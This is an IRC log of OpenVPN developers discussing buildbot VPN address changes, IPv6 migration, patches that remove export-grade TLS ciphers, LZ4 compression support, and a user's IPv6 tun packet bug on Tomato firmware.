Day changed Mon Dec 30 2013 00:42 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds] 00:56 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 00:56 -!- mode/#openvpn-devel [+o pekster] by ChanServ 06:05 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 06:05 -!- mode/#openvpn-devel [+o pekster_] by ChanServ 06:06 <@cron2> syzzer: welcome back :-) - and I envy you, a week skiing (without children) would be great indeed :-) 06:06 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 272 seconds] 06:53 <@mattock> cron2: fyi: you need to edit your buildslave's buildbot.tac to point to the correct IP 06:54 <@mattock> check my email for details 07:18 <@cron2> mattock: yeah, I already sent back a flame to you :-) 07:18 * cron2 doesn't like this sort of surprise-change 07:51 <@mattock> I don't like them either, but I needed to fix this quickly 07:52 <@mattock> sorry for the inconvenience 07:52 <@mattock> hopefully this won't happen again anytime soon 07:52 <@mattock> it's kind of interesting that the guys at company accidentally managed to register the exact same 10.7.36.0/24 subnet for the EC2 VPC 07:52 <@mattock> that should be fairly unlikely statistically 07:53 <@mattock> anyways, for the buildslaves all you need to do is edit the server IP in buildbot.tac, restart openvpn and restart the buildslave 08:06 <@cron2> mattock: why do we need to change if corp f*cked up? 08:07 <@cron2> but besides this, can you please add IPv6 to it, and move to IPv6, so we can stop caring for IPv4 address conflicts? 08:07 <@cron2> (this is one of the most important reasons to go to IPv6: people using conflicting parts of 10/8 and 192.168/16) 08:07 <@mattock> well, I want to be able to push/pull backups to our backup server without having to go through the public internet 08:07 <@mattock> I agree that moving to IPv6 makes sense 08:08 <@mattock> the backup servers is using the 10.7.36.0 address space 08:08 <@cron2> "move 'em" 08:08 <@cron2> anyway, the train seems to have sailed... 08:09 <@mattock> I would have gone that route, but fixing it that way would probably take me weeks at best 08:09 <@mattock> because of EC2 (I think) and because the stuff was done by other people in the U.S. timezone 08:10 * cron2 points to RFC4193 for "how to generate private and conflict-free IPv6 addresses", plus the tool to do so on https://www.sixxs.net/tools/grh/ula/ 08:10 <@mattock> ok, good 08:10 <@mattock> there is also the option of having the community servers in a separate EC2 VPC 08:10 <@mattock> although the buildslaves would still have to be connected to that using OpenVPN 08:10 <@mattock> but the rest of the traffic (e.g. phpbb -> ldap) would go in EC2 intranet 08:11 <@mattock> atm it goes through the internet in an OpenVPN tunnel 08:12 <@mattock> how about client-side IPv6 support on the buildslaves? 08:12 <@mattock> are they all ready for IPv6 OpenVPN? 08:12 <@cron2> mattock: well, all of mine run OpenVPN 2.3 or higher, so they are ready (and there is no single OS that has a tun device that has no IPv6 support today) 08:12 <@mattock> ok, good 08:13 <@cron2> the most interesting question is whether the buildbots can communicate using IPv6 08:13 <@mattock> well, they're running on top of Twisted framework 08:13 <@mattock> so if that works with IPv6 then all should be good 08:13 * cron2 <- python noob 08:14 <@mattock> I'll have a look at that 08:14 <@cron2> thanks 08:14 <@mattock> now I'll wait and see if ecrist will also explode :) 08:17 <@cron2> I haven't exploded, just vented some steam (and built-up frustration with IPv4...) 08:21 <@mattock> it's good to vent a little 08:21 <@mattock> this was my bad - I should have asked before moving forward 08:22 <@mattock> typically I would do that, but I'm currently in a deadlock with some server work because of plenty of annoying issue, and this was one of them 08:24 <@ecrist> who's responsible for the IP change? 08:24 <@mattock> I am 08:24 <@mattock> the shotgun is here, and the barn is there 08:25 * krzee gets a shield 08:25 <@ecrist> I don't see a huge issue, but it sounds like poor planning 08:25 <@ecrist> a shotgun is much too short range 08:25 <@ecrist> I'll get ya from 400 yards out 08:26 <@mattock> that is fine by me 08:27 <@ecrist> if you broke it, and you're fixing it, I really see no problems. :) 08:27 <@mattock> it's fixed already to the extent I can do it 08:27 <@mattock> i.e. it was never really broken, except for a few mins 08:28 <@cron2> mattock: I understand that with the deadlock, and sometimes it just has to be done that way, agreed :-) 08:28 <@mattock> what I was worried about if you had some things depending on the old IPs 08:28 <@mattock> buildslave I knew would break 08:28 <@cron2> nothing but buildslaves and my browser tab 08:28 <@mattock> cron2: yeah, still I should have emailed you guys yesterday or so 08:29 <@mattock> ecrist: did you have anything that depended on the old IPs? 08:29 <@cron2> that would have gotten you a much less annoyed initial response :-) - but I've blown off enough steam now to be fine with the argument 08:29 <@mattock> cron2: ok, good 08:29 <@mattock> :P 08:30 <@mattock> ecrist: oh, and what about moving the community VPN to IPv6? 08:31 <@mattock> would that work? 08:31 <@mattock> personally I think that'd be good to help verify OpenVPN + IPv6 works properly across many platforms (=buildslaves) 08:31 <@ecrist> sure, I don't mind 08:32 <@mattock> ok, I'll do some planning and let you guys know beforehand 08:32 <@cron2> mattock: we already do that in the t_client test :-) (but some more use of it won't harm) 08:32 <@mattock> cron2: yep 08:32 <@mattock> cron2: so you suggest we should register an IPv6 ULA? 08:33 <@mattock> not just generate generate an ULA 08:37 <@cron2> mattock: I'd suggest to generate and register it, so it becomes even more unlikely that someone else (like, your colleagues) will duplicat it :-) 08:38 <@mattock> sounds good 08:44 -!- Netsplit *.net <-> *.split quits: @dazo 08:50 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:50 -!- ServerMode/#openvpn-devel [+o dazo] by holmes.freenode.net 09:20 -!- pekster_ is now known as pekster 10:28 -!- ibins [~ibins@cl-147.ham-02.de.sixxs.net] has joined #openvpn-devel 11:32 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: Reconnecting] 11:33 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 11:33 -!- mode/#openvpn-devel [+o pekster] by ChanServ 13:20 <@cron2> restarting buildslaves+openvpn clients... 13:21 <@mattock> cron2: oh, you too had the nice little exercise in repetition like I did? :P 13:22 <@cron2> mattock: well, still working on it... :-) nbsd5.1+fbsd7.4 done, 4 more to go 13:22 <@mattock> still it should be fairly straightforward 13:22 <@mattock> I had to mess around with my fedora 19 buildslave, because selinux was playing some tricks I hadn't noticed before 13:22 <@cron2> it is 13:36 <@cron2> so, all my buildslaves should be online again 13:37 <@mattock> excellent! 15:13 <@plaisthos> cron2: damn you! there is a patch solving my build problem and you merge it only to 2.3 :) 17:40 -!- novaflash is now known as novaflash_away 18:07 -!- novaflash_away is now known as novaflash 21:49 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 272 seconds] 21:50 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel --- Day changed Tue Dec 31 2013 03:19 <@cron2> plaisthos: I trust syzzer to provide a patch for 2.4 which will also solve your build problem :-) 06:21 <@mattock> cron2: I noticed that build.openvpn.net is not in our EC2 VPC 06:21 <@mattock> do you mind if I shut it down for a while and migrate it? 06:22 <@cron2> mattock: uh, what is "build" and what would be the difference? 06:22 <@mattock> buildbot 06:22 <@mattock> I don't anything should change, but I'll have to make sure the public IP will be kept 06:22 <@cron2> master, that is? unless the IP address changes again, I don't mind :-) 06:22 <@mattock> yes 06:23 <@mattock> you're connecting to the VPN IP address with your buildbots, so that won't be affected 06:23 <@cron2> go for it, I'm not going to push anything to master today anyway (unless syzzer is really fast with that RSA patch) 06:23 <@mattock> actually I'll verify that the public IP does not get lost in migration, because things like openvpn-build fetch files from http://build.openvpn.net/downloads/... 06:24 <@mattock> but at some point I'll flip the switch 06:24 <@mattock> I'll let you know beforehand 06:38 <@cron2> well, *that* is DNS, so I don't particularily care for the public IP, as long as it will work again after some time, with no manual work needed 06:42 <@mattock> I'm not worried about DNS but some EC2-specific thing which might remove the public IP during migration 06:42 <@mattock> I'll ask our EC2 guy 08:29 -!- Netsplit *.net <-> *.split quits: @dazo 08:35 -!- Netsplit over, joins: @dazo 10:13 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 10:13 -!- mode/#openvpn-devel [+o pekster_] by ChanServ 10:16 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Disconnected by services] 10:16 -!- pekster_ is now known as pekster 10:23 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 10:25 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:57 -!- mattock is now known as mattock_afk --- Day changed Wed Jan 01 2014 14:09 -!- Netsplit *.net <-> *.split quits: @raidz 14:10 -!- Netsplit over, joins: raidz 14:10 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:37 <@cron2> can we include BSD licensed code in OpenVPN? 14:37 * cron2 is confused about all this license crap... 15:00 <@cron2> plaisthos: ACK work for you :-) - syzzer was busy, and the "single patch" goes from 1/6 to 6/6 <:-o 15:18 < syzzer> hehe, no worries, the changes are pretty trivial ;) 15:18 < syzzer> it's patch Wednesday it seems 15:18 < syzzer> no clue on the licensing stuff btw... 22:01 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 22:03 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:03 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Jan 02 2014 03:35 -!- mattock_afk is now known as mattock 03:35 <@mattock> haha, patch Wednesday :P 03:35 <@mattock> a hell every first wednesday of the month 03:35 <@mattock> people scurrying about to upgrade their openvpn installations 07:04 <@cron2> haha :-) 09:55 <@cron2> mattock: I think it would be a good idea to have a meeting on Jan9 - mainly 2.3.3 release planning and patch ACKs 09:55 <@mattock> cron2: yep, that'd be good 11:57 -!- novaflash is now known as novaflash_away 11:58 -!- novaflash_away is now known as novaflash 12:59 -!- Netsplit *.net <-> *.split quits: @dazo 13:05 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 13:05 -!- ServerMode/#openvpn-devel [+o dazo] by holmes.freenode.net 14:11 -!- mattock is now known as mattock_afk 15:26 -!- dazo is now known as dazo_afk --- Day changed Fri Jan 03 2014 00:40 -!- mattock_afk is now known as mattock 02:11 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 252 seconds] 03:15 -!- dazo_afk is now known as dazo 04:12 <@cron2> syzzer, plaisthos: one of you around? 04:23 <@vpnHelper> RSS Update - gitrepo: Update TLSv1 error messages to SSLv23 to reflect changes from commit 4b67f98 <https://github.com/OpenVPN/openvpn/commit/441be9f4f91a16218d40b401384ead51b5aac0cc> || Also update TLSv1_method() calls in support code to SSLv23_method() calls. <https://github.com/OpenVPN/openvpn/commit/dd3e319c1d66c7da51b8555d745a1139e0b322f2> 04:48 < syzzer> cron2: yes, but not for long... 04:49 < syzzer> almost time for lunch ;) 04:56 -!- dazo is now known as dazo_afk 05:08 -!- dazo_afk is now known as dazo 06:13 <@cron2> syzzer: holler when you're back :-) 06:22 < syzzer> cron2: I'm back :) 06:23 <@cron2> syzzer: basicall this is about 5/6, I'm unhappy with the coding style :-) - polar_ssl uses a // comment, and if (...) { return; } 06:23 <@cron2> while openssl uses if (...) { return; } else { ... }, with the else {} bit introducing all the extra space changes 06:24 <@cron2> so I'd leave out the else { } bit in ssl_openssl.c/tls_ctx_restrict_ciphers() as well... and use a C comment in ssl_polarssl.c :-) 06:26 < syzzer> ah, I agree. I'll send a v2, probably this evening. 06:26 <@cron2> thanks 06:27 <@cron2> 1+2 have been merged (trivial :) ), for 3...6 I'd like to have plaisthos have a look - it all seems good to me, but I'm not that strong on the SSL side of things :) 06:30 < syzzer> thanks for reviewing. the other changes are rather small too, let's hope they are small enough to linger around for a long time :) 06:30 < syzzer> *not* linger around, gah. 06:30 <@cron2> lol :-) 07:00 <@plaisthos> cron2: yes 07:10 <@plaisthos> cron2: For someone who never wanted to do anything with this SSL stuff I have much too much experience in it :( 07:14 <@cron2> plaisthos: yeah. Tell me. I even understand that certificate foo these days, and PEM and pkcs#12... *roll eyes* 07:16 <@plaisthos> syzzer: does polar support the same cipher spec? 07:16 <@plaisthos> perhaps it is good to do the !EXP just in case and for consistency 07:31 <@plaisthos> cron2: is that lzo4 your own code or proxying for Yames? *just wondering* 07:43 <@plaisthos> reading SSL_CTX_set_tmp_rsa_callback is scary 07:44 <@plaisthos> it is like EXPORT chipers do an extra setup step to ensure security is limited 07:44 < syzzer> yeah, those export ciphers are really scary, they deliberately limit security... 07:45 < syzzer> 'back in the old day 07:45 < syzzer> 'back in the old days', when the US were afraid other would do good crypto too... 07:46 <@plaisthos> hm let see if the next OpenVPN for Android version again breaks someone obscure setup :) 07:47 < syzzer> and polar does not support EXPORT ciphers, nor the 'EXP'/'DEFAULT'/etc cipher-suite group names 07:47 <@plaisthos> syzzer: ah okay. Did not know that 07:47 < syzzer> plaisthos: might be, but if that is the case, those users should reconsider what they transmit over those connections :p 07:49 <@plaisthos> syzzer: I think if I get a bug report for that I will reply "Hahahaahaha!" 07:52 <@plaisthos> hg rm src/compat/compat-rsa_generate_key.c 07:52 <@plaisthos> *wheeeee* :) 07:54 <@plaisthos> dazo: you broke my Android build! :( 07:55 <@dazo> wh000t!?! 07:55 * dazo didn't do any code changes in a long time .... 07:55 <@plaisthos> dazo: nevermind 07:55 <@plaisthos> dazo: it is my fault 07:55 <@dazo> heh 07:55 <@plaisthos> I got an undefined PATH_SEPARATOR_STR 07:56 <@plaisthos> (but since I am not using configure that is my own fault) 07:56 <@cron2> plaisthos: the LZ4 code is "written by me (based on snappy.c and the snappy changes), paid by James" - he wants it done, iOS client already supports it (in the to-be-released 1.0.4) 07:57 <@dazo> ahh, I see now why I got that blame :) 07:57 <@cron2> dazo: well, it's so much easier if we all blame it on you and go on with wrecking more stuff :-) 07:57 <@dazo> hahaha 07:58 <@dazo> cron2: well, I only consider to accept blames on commits which carries my name ;-) 07:58 <@cron2> dazo: now that is easy - "blame-to: dazo" 07:59 <@cron2> I'm sure git can be automated to always add that... 07:59 <@dazo> I knew I should have said "commits authored by me" :-P 07:59 <@cron2> --author=... :-) 07:59 <@plaisthos> cron2: ah understood 07:59 <@dazo> well, I hopefully gets a lot of creds then too :) 08:00 <@plaisthos> dazo: I used git blame 08:00 <@plaisthos> and it told me dazo 08:00 <@dazo> :-P 08:00 <@cron2> git blame is cool :-) (there is svn blame as well, but I discovered this only much later) 08:00 <@plaisthos> there is also hg blame 08:01 <@plaisthos> and svn praise which is the same as blame 08:01 <@plaisthos> in hg the official name is actually annotate 08:10 <@cron2> syzzer: should I see the effect of 4/6 in --show-tls? 08:12 <@plaisthos> cron2: no as far as I understood the TLS nagoation would fail 08:12 <@cron2> so it would still show the cipher as available, unless 6/6 is merged, and it would just "not work"? 08:12 <@plaisthos> (if you manage to build a setup where you have to agree on a export cipher) 08:12 <@plaisthos> cron2: yeah 08:12 <@cron2> yeah, assuming one side forces --tls-cipher EXP :) 08:13 <@plaisthos> tls-cipher EXP 08:13 <@plaisthos> solid choice 08:13 <@plaisthos> cron2: and your RSA keys are larger than 512 bits 08:13 <@cron2> yep "if it's export-grade quality, it must be good!" 08:13 <@plaisthos> as I understand 512 bit rsa is safe for export 08:17 <@vpnHelper> RSS Update - gitrepo: Remove OpenSSL tmp_rsa_callback. Removes support for ephemeral RSA in TLS. <https://github.com/OpenVPN/openvpn/commit/813aa55754c27bdae5380dce415497a574b47e1b> || If --tls-cipher is supplied, make --show-tls parse the list. <https://github.com/OpenVPN/openvpn/commit/cb03dca83e37fd65666bf776f39da902fb10acbc> 08:17 < syzzer> cron2: no, you shouldn't see any difference, just as plaisthos said :) 08:18 < syzzer> woot, more applied patches \o/ 08:19 <@plaisthos> I won't add the patches to the patches page ;) 08:19 <@cron2> ACKing instead is way better :-) 08:22 <@plaisthos> hm 08:23 <@plaisthos> why do I get a + added to my version but git status is clean 08:23 <@dazo> plaisthos: file properties changed? (chmod, chown?) 08:23 <@dazo> ahh, sorry! 08:24 * dazo confused it with something else 08:28 <@dazo> plaisthos: the '+' is triggered by this one: git diff-files --name-status -r --ignore-submodules --quiet -- 08:29 <@plaisthos> I should really update README.IPv6 08:31 <@plaisthos> and TODO.IPv6 08:31 <@cron2> good point 08:51 <@plaisthos> cron2: did you forget to commit 6/6 of the patch set? 08:51 <@cron2> plaisthos: no, I'm waiting for 5/6 v2, and 6/6 depends on that 08:52 <@cron2> (the context - "if (ciphers == NULL)" - won't be there before 5/6 :) 08:54 <@cron2> the README.IPv6 patch is for master/2.4, right? 08:54 <@plaisthos> cron2: yes 08:54 <@plaisthos> None of the stuff is in 2.3 08:54 <@cron2> OK. And I guess that "Android 2.4.0 includes..." should be "OpenVPN 2.4.0"? 08:54 <@plaisthos> Oh 08:54 <@plaisthos> right 08:55 <@plaisthos> The only minor patch is the set is 8832c6c (Implement listing on IPv4/IPv6 dual socket on all platform) 08:55 <@plaisthos> which could be cherry picked to 2.3 08:55 <@plaisthos> but then again IPv6 only server would suddenly become IPv4/IPv6 dual stacked 08:55 <@plaisthos> which is probably not a good change for a point release 08:55 <@cron2> is that independent enough of all the infrastructure changes? 08:56 <@cron2> (and indeed, if someone wants that, they can do the sysctl dance or use 2.4) 08:56 <@cron2> +[ Last updated: 03-01-2013. ] 08:56 <@plaisthos> oh 08:56 <@cron2> yeah, and a happy new year to you all :)) 08:57 <@plaisthos> that is totally screwed up date 08:57 <@plaisthos> cron2: happy new year to you and all other too 08:58 <@plaisthos> is jjo Dutch? :) 08:59 <@cron2> no idea, tbh 08:59 <@plaisthos> (dd-mm-yy is the date formate used frequently by the dutch) 09:03 <@cron2> ack+committed, but I'm not going to push it right away as the buildbots are just done with a full compile - save some CPU cycles until the next batch of syzzer's patches go in 09:05 <@plaisthos> that patch got commited fast 09:06 <@cron2> new year, full of energy :-) (*and* the children are at the grandparents today while I'm @home to clean up stuff) 09:09 <@plaisthos> .o(Why the hell are we show the Connection profiles [default], even if connection profiles are defined and we ignore anything in there anyways?) 09:13 <@cron2> you tell me... :-) 09:15 <@plaisthos> I sent a patch to turn it off :) 09:21 <@plaisthos> cron2: the bundled lz4 are there so lz4 in openvpn? 09:29 <@cron2> plaisthos: wht? 09:30 <@plaisthos> +always 09:30 <@plaisthos> or why did you decide to include lz4 in compat? 09:32 <@cron2> plaisthos: one of the problems with lz4 is that no distribution is shipping a liblz4 yet, and that the original tarball also doesn't even try to build a library, it just builds an executable - so "installing a library" is more painful than for snappy or lzo 09:32 <@cron2> but it's done as an independent patch so "the group" can agree to accept 1/2 and reject 2/2 09:33 <@plaisthos> yeah okay 10:01 <@plaisthos> cron2: I am just looking at the lz4 stuff 10:01 <@plaisthos> it is pretty straightforward. I remember a lot from the snappy patches 10:02 <@cron2> yeah. My fingers itched to make the stuff slightly more table driven, but postponed that for the day when we add the next compression algorithm :) 10:05 <@plaisthos> lzc 10:06 <@plaisthos> lev zempel cron 10:06 <@plaisthos> ;) 10:10 <@cron2> so... afk for ~3h... back to grandparents, feed & put to bed the children... 10:19 -!- mattock is now known as mattock_afk 10:25 -!- mattock_afk is now known as mattock 11:59 -!- dazo is now known as dazo_afk 12:19 <@cron2> plaisthos: oh, it's typo day :-) 15:56 -!- mattock is now known as mattock_afk 17:33 <@pekster> Here's a wiki entry to update the ToU (terms of use) on the GPL/community web resources: https://community.openvpn.net/openvpn/wiki/OpenVPN2014-community-ToU-update 17:33 <@vpnHelper> Title: OpenVPN2014-community-ToU-update – OpenVPN Community (at community.openvpn.net) 17:34 <@pekster> Currently the GPL resources (wiki, trac, forums, etc) link to a mostly commercial ToU with numerous clauses that just don't work with the GPL stuff. Contributions/review/comments welcome! 22:06 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 22:07 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 245 seconds] 22:07 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel --- Day changed Sat Jan 04 2014 03:13 -!- Netsplit *.net <-> *.split quits: @mattock_afk, +krzee, EvilJStoker, riddle, @pekster, ibins, @dazo_afk, @cron2, syzzer, MeanderingCode, (+5 more, use /NETSPLIT to show all of them) 03:29 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 03:29 -!- ibins [~ibins@cl-147.ham-02.de.sixxs.net] has joined #openvpn-devel 03:29 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 03:29 -!- ServerMode/#openvpn-devel [+oo cron2 raidz] by holmes.freenode.net 03:29 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 03:29 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:29 -!- ServerMode/#openvpn-devel [+o dazo_afk] by holmes.freenode.net 03:29 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 03:29 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 03:29 -!- ServerMode/#openvpn-devel [+vo krzee pekster] by holmes.freenode.net 03:30 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 03:30 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:30 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 03:30 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has joined #openvpn-devel 03:30 -!- ServerMode/#openvpn-devel [+oo plaisthos andj] by holmes.freenode.net 03:30 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 03:44 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn-devel 03:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:53 -!- ServerMode/#openvpn-devel [+o mattock] by holmes.freenode.net 06:15 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 09:36 -!- mattock is now known as mattock_afk 09:52 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:52 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:13 <@cron2> syzzer, plaisthos: one of you around? 13:14 < syzzer> I am 13:16 <@cron2> I'm confused about 5/6(v2) and 6/6 - it looks simple enough, but my test build is still showing EXP ciphers when I run "openvpn --show-tls". OTOH, "openvpn --show-tls --tls-cipher DEFAULT:!EXP" will nicely remove the export ciphers, so it looks as if the code paths are not taken (... for --show-tls, at least) 13:16 <@cron2> (openssl, obviously) 13:44 <@cron2> syzzer: scared you away? 13:51 < syzzer> sorry, got disctracted :p 13:53 < syzzer> hmm, that's weird. I'll have to take a closer look then. The idea was indeed that it should not show the EXPORT ciphers with --show-tls anymore... 13:59 <@cron2> maybe there is another if(options->cipher_list) somewhere in that path? 14:00 <@cron2> + if (cipher_list) 14:00 <@cron2> + tls_ctx_restrict_ciphers(&tls_ctx, cipher_list); 14:00 <@cron2> yeah, in the show_available_tls_ciphers() path 14:00 <@cron2> function 14:03 <@cron2> if I remove the if(), it behaves as expected 14:03 <@cron2> syzzer: do you want to send a 5/6 v3, or shall I amend the commit? 14:05 < syzzer> ah, good, you've taken a better look already 14:05 <@cron2> (actually this is both in ssl_openssl.c and ssl_polarssl.c and should be done in 5/6 v3, I think) 14:05 < syzzer> okay, I'll send a v3 14:06 <@cron2> thanks 14:06 <@cron2> mmmh 14:06 <@cron2> the code in ssl_polarssl.c might need verification that it actually works in the case of cipher_list==NULL - I think it doesn't 14:07 <@cron2> if (cipher_list) { 14:07 <@cron2> tls_ctx_restrict_ciphers(&tls_ctx, cipher_list); 14:07 <@cron2> ciphers = tls_ctx.allowed_ciphers; 14:07 <@cron2> } 14:07 <@cron2> tls_ctx won't be initialized here 14:07 < syzzer> gah, another if (cipher_list)... 14:07 <@cron2> yeah, but just removing that one will make it blow up for polarssl 14:15 < syzzer> tls_ctx.allowed_ciphers will be NULL, I'll change ssl_polarssl's tls_ctx_restrict ciphers to always set it to sane defaults. 14:16 <@cron2> yup, this sounds like the most streamlined thing (if I read the code right, just setting it to ssl_list_ciphersuites() should be easy enough) 14:16 < syzzer> not really, because ssl_list_ciphersuites() returns a const *, that cannot be free()'d. 14:16 <@cron2> it won't even be NULL, I'm afraid, just "some garbage on the stack" 14:17 <@cron2> uh 14:17 <@cron2> ok, I'm curious to see how this turns out in the end :-) 14:17 < syzzer> so far for my trivial improvement ;) 14:18 <@cron2> this is why I leave the SSL things to you and plaisthos :-) 15:14 -!- Weasel_ [~kvuorine@a91-154-220-172.elisa-laajakaista.fi] has joined #openvpn-devel 15:22 < Weasel_> hello. are there plans to enable using preconfigured macvlan bridge interfaces instead of tap interfaces in openvpn linux? virtual machine guests seem to be moving to use these, using brctl+tap and macvlan interfaces side to side feels quite painful. 15:57 <@pekster> OpenVPN is largely bound to the tun driver code, so that's not likely unless someone is willing to look at what possible code changens would need to be made and see if it's considered a useful feature to add as a compile-time option 15:58 <@pekster> I'm not really sure what the use-case is here since you can already run either tun or tap on the host or VM today 16:03 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 246 seconds] 16:18 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:18 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 16:18 -!- dazo_afk is now known as dazo 19:36 < Weasel_> pekster: as far as I know macvlan bridge interface is tap compatible, just set up different. I think these could be used with openvpn if it would be possible use previously created tap interfaces. somehow openvpn manages to create new tap interface with a tap name already used by macvlan bridge interface. 19:38 <@pekster> You can use existing taps too; nothing stops you in a bridged setup from using distro-centric tools to create the bridge, tap device, and add the tap to the bridge as a member, then use `--dev tap_nameHere` for instance 19:39 <@pekster> AFAIK (which isn't much at all) about the vtap implementations is that they're mostly like tap, but not fully. Give it a shot and see, but my guess is the slight differences might cause issues and you'll need to go digging in the code to see why 19:39 <@pekster> It boils down to what kind of access openvpn is asking for when it opens and uses the network adapter it opens 20:06 <+krzee> (like a week) 20:06 <+krzee> oops wrong window --- Day changed Sun Jan 05 2014 06:49 -!- mback2k [~freenode@89.238.84.46] has joined #openvpn-devel 06:51 < mback2k> Hello everyone, I think I just found a bug with OpenVPN and IPv6. At least while using OpenVPN on shibby's tomato builds. I have gathered some Wireshark dumps and can confirm that once, and only once IPv6 is configured, the client drops the first 4 bytes in the OpenVPN P_DATA_V1 payload. 06:52 < mback2k> Since I do know the OpenVPN source code well enough, I would like to ask if anyone can point me to the source files that handle the payload encoding? 06:54 < mback2k> So for IPv4 packets it actually drops everything between the OpenVPN payload header (e.g. the lzo compression header in this case) and the IPv4 header field "Identification" 07:06 <@cron2> mback2k: I'm not sure I understand what you say. Is it IPv4 or IPv6? 07:07 <@cron2> the relevant code would be in tun.c - for multi-protocol tun interfaces, the first bytes of the "packet" is the protocol type (IPv4 or IPv6), and only then the actual data packet starts - so if 4 bytes get chopped off, the tun interface is not set up correctly. 07:10 < mback2k> cron2: okay, that could be an explanation. Basically I am trying to enable IPv6 on a fully working OpenVPN setup that is currently IPv4 payload only. Once I enable the IPv6 configuration on the server-side, data cannot be transferred over the tunnel anymore and I get the famous "IP packet with unknown IP version=... seen" error. 07:10 <@cron2> yeah, that very much points at "misencapsulation on the tun interface". Tomato is Linux, is it? 07:11 < mback2k> For debugging purposes I sniffed the traffic between my router (OpenVPN client) and modem while auth=none, cipher=none and no-replay, no-iv. 07:11 < mback2k> yes, it is 07:12 <@cron2> what you're looking for is write_tun()/read_tun() in tun.c, in the "linux" section (sorry for the mess tun.c is...) - there is code that looks like this: 07:12 <@cron2> read_tun (struct tuntap* tt, uint8_t *buf, int len) 07:12 <@cron2> { 07:12 <@cron2> if (tt->ipv6) 07:12 <@cron2> { 07:13 <@cron2> ... so, for "ipv6 tun" (= ipv6 enabled) it will do a 4-byte read, plus the packet read 07:13 < mback2k> Working IPv4 ping packet from OpenVPN payload (with compression byte flag): http://pastebin.com/0NZxAw1v 07:13 < mback2k> Not working IPv6 ping packet: http://pastebin.com/bG5r8a6R 07:13 <@cron2> and if the kernel side isn't sending the 4 byte "pi", you'll see chopped-off-packets 07:13 < mback2k> okay, thanks, give me a sec to catch up 07:14 <@cron2> (I don't really have time to look at packet dumps right now, sorry - but if you say "4 bytes are missing" then *this* is the code that is involved - tun.c, about line 1800) 07:15 < mback2k> thanks, I will take a look myself and will file a bug-report if there is actually a bug 07:15 <@cron2> it's possible that our way to open and initialize the tun interface is not compatible with "very old" kernels - what is tomato using? 07:15 <@cron2> (there are multiple different ways to do tun on linux...) 07:15 <@cron2> ah, indeed 07:15 <@cron2> there is 07:16 <@cron2> #ifdef HAVE_LINUX_IF_TUN_H /* New driver support */ 07:16 <@cron2> which has 07:16 <@cron2> open_tun (const char *dev, const char *dev_type, const char *dev_node, struct tuntap *tt) 07:16 <@cron2> if (!tt->ipv6) 07:16 <@cron2> ifr.ifr_flags = IFF_NO_PI; 07:16 < mback2k> uname -a: Linux gw02 2.6.22.19 #16 Tue Jul 30 00:54:32 CEST 2013 mips GNU/Linux 07:17 <@cron2> that's not that old... maybe it's getting miscompiled because <if/tun.h> cannot be found at configure time 07:17 < mback2k> oh, compilation issues are bad, because I was not yet able to re-compile tomato myself, yet. 07:18 <@cron2> does it log 07:18 <@cron2> NOTE: explicit support for IPv6 tun devices is not provided for this OS 07:18 <@cron2> ? 07:18 < mback2k> during OpenVPN startup? 07:18 <@cron2> yep, if ipv6 is enabled 07:19 < mback2k> let me try again, give me a few seconds 07:19 <@cron2> (that would be an indication that it hasn't found <if/tun.h> and falls back to open_tun_generic(), which would indeed not know how to properly set up a multiprotocol tun on linux 07:22 -!- mback2k is now known as mback2k_ 07:28 -!- mback2k_ is now known as mback2k 07:29 < mback2k> cron2: okay, I just checked. It does not print any message like this. 07:29 < mback2k> (sorry, I have to restart all OpenVPN services (including the client) after trying it, because even deconfiguring IPv6 on the server does not make it work again) 07:30 < mback2k> (that took me some time and during that I had no connection to my IRC bouncer) 07:31 -!- Netsplit *.net <-> *.split quits: EvilJStoker 07:32 -!- Netsplit over, joins: EvilJStoker 07:32 